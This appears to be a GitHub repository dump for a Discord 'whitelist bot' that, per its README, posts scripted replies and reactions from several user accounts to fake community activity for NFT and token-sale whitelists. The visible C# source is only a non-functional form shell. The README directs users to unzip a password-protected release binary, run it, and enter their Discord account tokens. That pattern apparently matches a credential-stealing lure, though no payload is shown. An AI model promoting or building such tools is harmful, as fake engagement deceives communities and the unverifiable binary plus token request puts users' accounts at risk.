├── discordWL.png ├── discordWLtext.png ├── binary └── Release.zip ├── source ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── Form3.cs ├── Program.cs ├── Form1.cs ├── Form2.cs ├── Form2.Designer.cs ├── DiscordWL.csproj ├── Form3.resx ├── Form3.Designer.cs ├── Form1.Designer.cs ├── Form2.resx └── Form1.resx └── README.md /discordWL.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ak1rahunt3r/discord-whitelist-bot/HEAD/discordWL.png -------------------------------------------------------------------------------- /discordWLtext.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ak1rahunt3r/discord-whitelist-bot/HEAD/discordWLtext.png -------------------------------------------------------------------------------- /binary/Release.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ak1rahunt3r/discord-whitelist-bot/HEAD/binary/Release.zip -------------------------------------------------------------------------------- /source/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /source/Form3.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace DiscordWL 11 | { 12 | public partial class Form3 : Form 13 | { 14 | public Form3() 15 | { 16 | InitializeComponent(); 17 | } 18 | 19 | private void button2_Click(object sender, EventArgs e) 20 | { 21 | this.Close(); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /source/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | 6 | namespace DiscordWL 7 | { 8 | static class Program 9 | { 10 | /// 11 | /// The main entry point for the application. 12 | /// 13 | [STAThread] 14 | static void Main() 15 | { 16 | Application.EnableVisualStyles(); 17 | Application.SetCompatibleTextRenderingDefault(false); 18 | Application.Run(new Form2()); 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /source/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace DiscordWL 11 | { 12 | public partial class Form1 : Form 13 | { 14 | public Form1() 15 | { 16 | InitializeComponent(); 17 | } 18 | 19 | private void button1_Click(object sender, EventArgs e) 20 | { 21 | Form3 form = new Form3(); 22 | form.Show(); 23 | } 24 | 25 | private void button4_Click(object sender, EventArgs e) 26 | { 27 | MessageBox.Show("No accounts added!"); 28 | 29 | } 30 | 31 | private void Form1_Load(object sender, EventArgs e) 32 | { 33 | 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /source/Form2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace DiscordWL 11 | { 12 | public partial class Form2 : Form 13 | { 14 | public Form2() 15 | { 16 | InitializeComponent(); 17 | } 18 | 19 | private void Form2_Load(object sender, EventArgs e) 20 | { 21 | richTextBox1.LoadFile("license.rtf"); 22 | } 23 | 24 | private void button2_Click(object sender, EventArgs e) 25 | { 26 | Environment.Exit(0); 27 | } 28 | 29 | private void button1_Click(object sender, EventArgs e) 30 | { 31 | this.Hide(); 32 | Form1 form1 = new Form1(); 33 | form1.Show(); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /source/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace DiscordWL.Properties 13 | { 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 17 | { 18 | 19 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 20 | 21 | public static Settings Default 22 | { 23 | get 24 | { 25 | return defaultInstance; 26 | } 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # discord-whitelist-bot 2 | Simulate discord activity on channels to get whitelist (NFT or tokensale). 3 | Bot randomly replies for messages in discord chat using messages from `reactions.txt` and `message.txt` files OR using emoji. 4 | Written on .Net Framework with xNetHTTP library and DiscordAPI. 5 | 6 | ![alt text](https://github.com/ak1rahunt3r/discord-whitelist-bot/blob/main/discordWL.png?raw=true) 7 | ![alt text](https://github.com/ak1rahunt3r/discord-whitelist-bot/blob/main/discordWLtext.png?raw=true) 8 | 9 | Requirements: 10 | - Discord tokens for accounts you need 11 | - Channel and chat names 12 | 13 | Setup: 14 | - Extract files with password `midTeQ7Bv` 15 | - Launch app 16 | - Add info to table for each account: 17 | - `accName` - account name or ethereum address 18 | - `accToken` - discord account token 19 | - `servName` - server name 20 | - `servChat` - server chat to send messages 21 | - `notes` - your notes for this account 22 | - Set messaging mode: 23 | - `replyGmGn` - send GM/GN reply if someone writes GM/GN 24 | - `replyWow` - send reaction from `reactions.txt` for someones message 25 | - `meMessage` - send message from `message.txt` 26 | - Set emoji mode: 27 | - `reactEmoji` - random positive reaction 28 | - `reactStickers` - random positive sticker 29 | - Start bot 30 | - Bot can be hidden to tray 31 | -------------------------------------------------------------------------------- /source/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DiscordWL")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DiscordWL")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("14a1ad75-8a03-40f6-ba0b-94de29f9d41d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /source/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace DiscordWL.Properties 13 | { 14 | /// 15 | /// A strongly-typed resource class, for looking up localized strings, etc. 16 | /// 17 | // This class was auto-generated by the StronglyTypedResourceBuilder 18 | // class via a tool like ResGen or Visual Studio. 19 | // To add or remove a member, edit your .ResX file then rerun ResGen 20 | // with the /str option, or rebuild your VS project. 21 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 22 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 23 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 24 | internal class Resources 25 | { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() 33 | { 34 | } 35 | 36 | /// 37 | /// Returns the cached ResourceManager instance used by this class. 38 | /// 39 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 40 | internal static global::System.Resources.ResourceManager ResourceManager 41 | { 42 | get 43 | { 44 | if ((resourceMan == null)) 45 | { 46 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DiscordWL.Properties.Resources", typeof(Resources).Assembly); 47 | resourceMan = temp; 48 | } 49 | return resourceMan; 50 | } 51 | } 52 | 53 | /// 54 | /// Overrides the current thread's CurrentUICulture property for all 55 | /// resource lookups using this strongly typed resource class. 56 | /// 57 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 58 | internal static global::System.Globalization.CultureInfo Culture 59 | { 60 | get 61 | { 62 | return resourceCulture; 63 | } 64 | set 65 | { 66 | resourceCulture = value; 67 | } 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /source/Form2.Designer.cs: -------------------------------------------------------------------------------- 1 | 2 | namespace DiscordWL 3 | { 4 | partial class Form2 5 | { 6 | /// 7 | /// Required designer variable. 8 | /// 9 | private System.ComponentModel.IContainer components = null; 10 | 11 | /// 12 | /// Clean up any resources being used. 13 | /// 14 | /// true if managed resources should be disposed; otherwise, false. 15 | protected override void Dispose(bool disposing) 16 | { 17 | if (disposing && (components != null)) 18 | { 19 | components.Dispose(); 20 | } 21 | base.Dispose(disposing); 22 | } 23 | 24 | #region Windows Form Designer generated code 25 | 26 | /// 27 | /// Required method for Designer support - do not modify 28 | /// the contents of this method with the code editor. 29 | /// 30 | private void InitializeComponent() 31 | { 32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form2)); 33 | this.richTextBox1 = new System.Windows.Forms.RichTextBox(); 34 | this.button1 = new System.Windows.Forms.Button(); 35 | this.button2 = new System.Windows.Forms.Button(); 36 | this.SuspendLayout(); 37 | // 38 | // richTextBox1 39 | // 40 | this.richTextBox1.Location = new System.Drawing.Point(12, 12); 41 | this.richTextBox1.Name = "richTextBox1"; 42 | this.richTextBox1.Size = new System.Drawing.Size(524, 287); 43 | this.richTextBox1.TabIndex = 0; 44 | this.richTextBox1.Text = ""; 45 | // 46 | // button1 47 | // 48 | this.button1.Location = new System.Drawing.Point(442, 316); 49 | this.button1.Name = "button1"; 50 | this.button1.Size = new System.Drawing.Size(94, 28); 51 | this.button1.TabIndex = 1; 52 | this.button1.Text = "Accept"; 53 | this.button1.UseVisualStyleBackColor = true; 54 | this.button1.Click += new System.EventHandler(this.button1_Click); 55 | // 56 | // button2 57 | // 58 | this.button2.Location = new System.Drawing.Point(316, 316); 59 | this.button2.Name = "button2"; 60 | this.button2.Size = new System.Drawing.Size(94, 28); 61 | this.button2.TabIndex = 2; 62 | this.button2.Text = "Decline"; 63 | this.button2.UseVisualStyleBackColor = true; 64 | this.button2.Click += new System.EventHandler(this.button2_Click); 65 | // 66 | // Form2 67 | // 68 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 69 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 70 | this.ClientSize = new System.Drawing.Size(550, 360); 71 | this.Controls.Add(this.button2); 72 | this.Controls.Add(this.button1); 73 | this.Controls.Add(this.richTextBox1); 74 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; 75 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 76 | this.Name = "Form2"; 77 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 78 | this.Text = "Form2"; 79 | this.Load += new System.EventHandler(this.Form2_Load); 80 | this.ResumeLayout(false); 81 | 82 | } 83 | 84 | #endregion 85 | 86 | private System.Windows.Forms.RichTextBox richTextBox1; 87 | private System.Windows.Forms.Button button1; 88 | private System.Windows.Forms.Button button2; 89 | } 90 | } -------------------------------------------------------------------------------- /source/DiscordWL.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {14A1AD75-8A03-40F6-BA0B-94DE29F9D41D} 8 | WinExe 9 | DiscordWL 10 | DiscordWL 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | true 36 | bin\x86\Debug\ 37 | DEBUG;TRACE 38 | full 39 | x86 40 | 7.3 41 | prompt 42 | 43 | 44 | bin\x86\Release\ 45 | TRACE 46 | true 47 | none 48 | x86 49 | 7.3 50 | prompt 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | ..\..\xNetHTTP\xNetHTTP\bin\x86\Release\xNetHTTP.dll 65 | 66 | 67 | 68 | 69 | Form 70 | 71 | 72 | Form1.cs 73 | 74 | 75 | Form 76 | 77 | 78 | Form2.cs 79 | 80 | 81 | Form 82 | 83 | 84 | Form3.cs 85 | 86 | 87 | 88 | 89 | Form1.cs 90 | 91 | 92 | Form2.cs 93 | 94 | 95 | Form3.cs 96 | 97 | 98 | ResXFileCodeGenerator 99 | Resources.Designer.cs 100 | Designer 101 | 102 | 103 | True 104 | Resources.resx 105 | 106 | 107 | SettingsSingleFileGenerator 108 | Settings.Designer.cs 109 | 110 | 111 | True 112 | Settings.settings 113 | True 114 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /source/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /source/Form3.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /source/Form3.Designer.cs: -------------------------------------------------------------------------------- 1 | 2 | namespace DiscordWL 3 | { 4 | partial class Form3 5 | { 6 | /// 7 | /// Required designer variable. 8 | /// 9 | private System.ComponentModel.IContainer components = null; 10 | 11 | /// 12 | /// Clean up any resources being used. 13 | /// 14 | /// true if managed resources should be disposed; otherwise, false. 15 | protected override void Dispose(bool disposing) 16 | { 17 | if (disposing && (components != null)) 18 | { 19 | components.Dispose(); 20 | } 21 | base.Dispose(disposing); 22 | } 23 | 24 | #region Windows Form Designer generated code 25 | 26 | /// 27 | /// Required method for Designer support - do not modify 28 | /// the contents of this method with the code editor. 29 | /// 30 | private void InitializeComponent() 31 | { 32 | this.textBox1 = new System.Windows.Forms.TextBox(); 33 | this.label1 = new System.Windows.Forms.Label(); 34 | this.label2 = new System.Windows.Forms.Label(); 35 | this.textBox2 = new System.Windows.Forms.TextBox(); 36 | this.label3 = new System.Windows.Forms.Label(); 37 | this.textBox3 = new System.Windows.Forms.TextBox(); 38 | this.label4 = new System.Windows.Forms.Label(); 39 | this.textBox4 = new System.Windows.Forms.TextBox(); 40 | this.label5 = new System.Windows.Forms.Label(); 41 | this.textBox5 = new System.Windows.Forms.TextBox(); 42 | this.button1 = new System.Windows.Forms.Button(); 43 | this.button2 = new System.Windows.Forms.Button(); 44 | this.SuspendLayout(); 45 | // 46 | // textBox1 47 | // 48 | this.textBox1.Location = new System.Drawing.Point(15, 36); 49 | this.textBox1.Name = "textBox1"; 50 | this.textBox1.Size = new System.Drawing.Size(240, 20); 51 | this.textBox1.TabIndex = 0; 52 | // 53 | // label1 54 | // 55 | this.label1.AutoSize = true; 56 | this.label1.Location = new System.Drawing.Point(12, 20); 57 | this.label1.Name = "label1"; 58 | this.label1.Size = new System.Drawing.Size(53, 13); 59 | this.label1.TabIndex = 1; 60 | this.label1.Text = "accName"; 61 | // 62 | // label2 63 | // 64 | this.label2.AutoSize = true; 65 | this.label2.Location = new System.Drawing.Point(12, 80); 66 | this.label2.Name = "label2"; 67 | this.label2.Size = new System.Drawing.Size(56, 13); 68 | this.label2.TabIndex = 3; 69 | this.label2.Text = "accToken"; 70 | // 71 | // textBox2 72 | // 73 | this.textBox2.Location = new System.Drawing.Point(15, 96); 74 | this.textBox2.Name = "textBox2"; 75 | this.textBox2.Size = new System.Drawing.Size(240, 20); 76 | this.textBox2.TabIndex = 2; 77 | // 78 | // label3 79 | // 80 | this.label3.AutoSize = true; 81 | this.label3.Location = new System.Drawing.Point(12, 141); 82 | this.label3.Name = "label3"; 83 | this.label3.Size = new System.Drawing.Size(55, 13); 84 | this.label3.TabIndex = 5; 85 | this.label3.Text = "servName"; 86 | // 87 | // textBox3 88 | // 89 | this.textBox3.Location = new System.Drawing.Point(15, 157); 90 | this.textBox3.Name = "textBox3"; 91 | this.textBox3.Size = new System.Drawing.Size(240, 20); 92 | this.textBox3.TabIndex = 4; 93 | // 94 | // label4 95 | // 96 | this.label4.AutoSize = true; 97 | this.label4.Location = new System.Drawing.Point(12, 201); 98 | this.label4.Name = "label4"; 99 | this.label4.Size = new System.Drawing.Size(49, 13); 100 | this.label4.TabIndex = 7; 101 | this.label4.Text = "servChat"; 102 | // 103 | // textBox4 104 | // 105 | this.textBox4.Location = new System.Drawing.Point(15, 217); 106 | this.textBox4.Name = "textBox4"; 107 | this.textBox4.Size = new System.Drawing.Size(240, 20); 108 | this.textBox4.TabIndex = 6; 109 | // 110 | // label5 111 | // 112 | this.label5.AutoSize = true; 113 | this.label5.Location = new System.Drawing.Point(12, 262); 114 | this.label5.Name = "label5"; 115 | this.label5.Size = new System.Drawing.Size(33, 13); 116 | this.label5.TabIndex = 9; 117 | this.label5.Text = "notes"; 118 | // 119 | // textBox5 120 | // 121 | this.textBox5.Location = new System.Drawing.Point(15, 278); 122 | this.textBox5.Name = "textBox5"; 123 | this.textBox5.Size = new System.Drawing.Size(240, 20); 124 | this.textBox5.TabIndex = 8; 125 | // 126 | // button1 127 | // 128 | this.button1.Location = new System.Drawing.Point(183, 315); 129 | this.button1.Name = "button1"; 130 | this.button1.Size = new System.Drawing.Size(72, 26); 131 | this.button1.TabIndex = 10; 132 | this.button1.Text = "Add"; 133 | this.button1.UseVisualStyleBackColor = true; 134 | // 135 | // button2 136 | // 137 | this.button2.Location = new System.Drawing.Point(93, 315); 138 | this.button2.Name = "button2"; 139 | this.button2.Size = new System.Drawing.Size(72, 26); 140 | this.button2.TabIndex = 11; 141 | this.button2.Text = "Cancel"; 142 | this.button2.UseVisualStyleBackColor = true; 143 | this.button2.Click += new System.EventHandler(this.button2_Click); 144 | // 145 | // Form3 146 | // 147 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 148 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 149 | this.ClientSize = new System.Drawing.Size(274, 357); 150 | this.Controls.Add(this.button2); 151 | this.Controls.Add(this.button1); 152 | this.Controls.Add(this.label5); 153 | this.Controls.Add(this.textBox5); 154 | this.Controls.Add(this.label4); 155 | this.Controls.Add(this.textBox4); 156 | this.Controls.Add(this.label3); 157 | this.Controls.Add(this.textBox3); 158 | this.Controls.Add(this.label2); 159 | this.Controls.Add(this.textBox2); 160 | this.Controls.Add(this.label1); 161 | this.Controls.Add(this.textBox1); 162 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 163 | this.Name = "Form3"; 164 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 165 | this.Text = "Add Account"; 166 | this.ResumeLayout(false); 167 | this.PerformLayout(); 168 | 169 | } 170 | 171 | #endregion 172 | 173 | private System.Windows.Forms.TextBox textBox1; 174 | private System.Windows.Forms.Label label1; 175 | private System.Windows.Forms.Label label2; 176 | private System.Windows.Forms.TextBox textBox2; 177 | private System.Windows.Forms.Label label3; 178 | private System.Windows.Forms.TextBox textBox3; 179 | private System.Windows.Forms.Label label4; 180 | private System.Windows.Forms.TextBox textBox4; 181 | private System.Windows.Forms.Label label5; 182 | private System.Windows.Forms.TextBox textBox5; 183 | private System.Windows.Forms.Button button1; 184 | private System.Windows.Forms.Button button2; 185 | } 186 | } -------------------------------------------------------------------------------- /source/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | 2 | namespace DiscordWL 3 | { 4 | partial class Form1 5 | { 6 | /// 7 | /// Required designer variable. 8 | /// 9 | private System.ComponentModel.IContainer components = null; 10 | 11 | /// 12 | /// Clean up any resources being used. 13 | /// 14 | /// true if managed resources should be disposed; otherwise, false. 15 | protected override void Dispose(bool disposing) 16 | { 17 | if (disposing && (components != null)) 18 | { 19 | components.Dispose(); 20 | } 21 | base.Dispose(disposing); 22 | } 23 | 24 | #region Windows Form Designer generated code 25 | 26 | /// 27 | /// Required method for Designer support - do not modify 28 | /// the contents of this method with the code editor. 29 | /// 30 | private void InitializeComponent() 31 | { 32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); 33 | this.dataGridView1 = new System.Windows.Forms.DataGridView(); 34 | this.accName = new System.Windows.Forms.DataGridViewTextBoxColumn(); 35 | this.accToken = new System.Windows.Forms.DataGridViewTextBoxColumn(); 36 | this.servName = new System.Windows.Forms.DataGridViewTextBoxColumn(); 37 | this.servChat = new System.Windows.Forms.DataGridViewTextBoxColumn(); 38 | this.notes = new System.Windows.Forms.DataGridViewTextBoxColumn(); 39 | this.button1 = new System.Windows.Forms.Button(); 40 | this.button2 = new System.Windows.Forms.Button(); 41 | this.checkBox1 = new System.Windows.Forms.CheckBox(); 42 | this.checkBox2 = new System.Windows.Forms.CheckBox(); 43 | this.checkBox3 = new System.Windows.Forms.CheckBox(); 44 | this.checkBox4 = new System.Windows.Forms.CheckBox(); 45 | this.checkBox5 = new System.Windows.Forms.CheckBox(); 46 | this.button3 = new System.Windows.Forms.Button(); 47 | this.button4 = new System.Windows.Forms.Button(); 48 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); 49 | this.SuspendLayout(); 50 | // 51 | // dataGridView1 52 | // 53 | this.dataGridView1.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; 54 | this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; 55 | this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { 56 | this.accName, 57 | this.accToken, 58 | this.servName, 59 | this.servChat, 60 | this.notes}); 61 | this.dataGridView1.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; 62 | this.dataGridView1.Location = new System.Drawing.Point(12, 12); 63 | this.dataGridView1.Name = "dataGridView1"; 64 | this.dataGridView1.Size = new System.Drawing.Size(646, 256); 65 | this.dataGridView1.TabIndex = 0; 66 | // 67 | // accName 68 | // 69 | this.accName.HeaderText = "accName"; 70 | this.accName.Name = "accName"; 71 | // 72 | // accToken 73 | // 74 | this.accToken.HeaderText = "accToken"; 75 | this.accToken.Name = "accToken"; 76 | // 77 | // servName 78 | // 79 | this.servName.HeaderText = "servName"; 80 | this.servName.Name = "servName"; 81 | // 82 | // servChat 83 | // 84 | this.servChat.HeaderText = "servChat"; 85 | this.servChat.Name = "servChat"; 86 | // 87 | // notes 88 | // 89 | this.notes.HeaderText = "notes"; 90 | this.notes.Name = "notes"; 91 | // 92 | // button1 93 | // 94 | this.button1.Location = new System.Drawing.Point(583, 289); 95 | this.button1.Name = "button1"; 96 | this.button1.Size = new System.Drawing.Size(75, 23); 97 | this.button1.TabIndex = 1; 98 | this.button1.Text = "Add acc"; 99 | this.button1.UseVisualStyleBackColor = true; 100 | this.button1.Click += new System.EventHandler(this.button1_Click); 101 | // 102 | // button2 103 | // 104 | this.button2.Location = new System.Drawing.Point(486, 289); 105 | this.button2.Name = "button2"; 106 | this.button2.Size = new System.Drawing.Size(75, 23); 107 | this.button2.TabIndex = 2; 108 | this.button2.Text = "Delete acc"; 109 | this.button2.UseVisualStyleBackColor = true; 110 | // 111 | // checkBox1 112 | // 113 | this.checkBox1.AutoSize = true; 114 | this.checkBox1.Location = new System.Drawing.Point(12, 295); 115 | this.checkBox1.Name = "checkBox1"; 116 | this.checkBox1.Size = new System.Drawing.Size(78, 17); 117 | this.checkBox1.TabIndex = 3; 118 | this.checkBox1.Text = "replyGmGn"; 119 | this.checkBox1.UseVisualStyleBackColor = true; 120 | // 121 | // checkBox2 122 | // 123 | this.checkBox2.AutoSize = true; 124 | this.checkBox2.Location = new System.Drawing.Point(12, 328); 125 | this.checkBox2.Name = "checkBox2"; 126 | this.checkBox2.Size = new System.Drawing.Size(73, 17); 127 | this.checkBox2.TabIndex = 4; 128 | this.checkBox2.Text = "replyWow"; 129 | this.checkBox2.UseVisualStyleBackColor = true; 130 | // 131 | // checkBox3 132 | // 133 | this.checkBox3.AutoSize = true; 134 | this.checkBox3.Location = new System.Drawing.Point(12, 362); 135 | this.checkBox3.Name = "checkBox3"; 136 | this.checkBox3.Size = new System.Drawing.Size(83, 17); 137 | this.checkBox3.TabIndex = 5; 138 | this.checkBox3.Text = "meMessage"; 139 | this.checkBox3.UseVisualStyleBackColor = true; 140 | // 141 | // checkBox4 142 | // 143 | this.checkBox4.AutoSize = true; 144 | this.checkBox4.Location = new System.Drawing.Point(173, 295); 145 | this.checkBox4.Name = "checkBox4"; 146 | this.checkBox4.Size = new System.Drawing.Size(75, 17); 147 | this.checkBox4.TabIndex = 6; 148 | this.checkBox4.Text = "reactEmoji"; 149 | this.checkBox4.UseVisualStyleBackColor = true; 150 | // 151 | // checkBox5 152 | // 153 | this.checkBox5.AutoSize = true; 154 | this.checkBox5.Location = new System.Drawing.Point(173, 328); 155 | this.checkBox5.Name = "checkBox5"; 156 | this.checkBox5.Size = new System.Drawing.Size(88, 17); 157 | this.checkBox5.TabIndex = 7; 158 | this.checkBox5.Text = "reactStickers"; 159 | this.checkBox5.UseVisualStyleBackColor = true; 160 | // 161 | // button3 162 | // 163 | this.button3.Location = new System.Drawing.Point(583, 324); 164 | this.button3.Name = "button3"; 165 | this.button3.Size = new System.Drawing.Size(75, 23); 166 | this.button3.TabIndex = 8; 167 | this.button3.Text = "ToTray"; 168 | this.button3.UseVisualStyleBackColor = true; 169 | // 170 | // button4 171 | // 172 | this.button4.Location = new System.Drawing.Point(486, 324); 173 | this.button4.Name = "button4"; 174 | this.button4.Size = new System.Drawing.Size(75, 23); 175 | this.button4.TabIndex = 9; 176 | this.button4.Text = "S T A R T"; 177 | this.button4.UseVisualStyleBackColor = true; 178 | this.button4.Click += new System.EventHandler(this.button4_Click); 179 | // 180 | // Form1 181 | // 182 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 183 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 184 | this.ClientSize = new System.Drawing.Size(669, 391); 185 | this.Controls.Add(this.button4); 186 | this.Controls.Add(this.button3); 187 | this.Controls.Add(this.checkBox5); 188 | this.Controls.Add(this.checkBox4); 189 | this.Controls.Add(this.checkBox3); 190 | this.Controls.Add(this.checkBox2); 191 | this.Controls.Add(this.checkBox1); 192 | this.Controls.Add(this.button2); 193 | this.Controls.Add(this.button1); 194 | this.Controls.Add(this.dataGridView1); 195 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 196 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 197 | this.MaximizeBox = false; 198 | this.Name = "Form1"; 199 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 200 | this.Text = "DiscordWL"; 201 | this.Load += new System.EventHandler(this.Form1_Load); 202 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); 203 | this.ResumeLayout(false); 204 | this.PerformLayout(); 205 | 206 | } 207 | 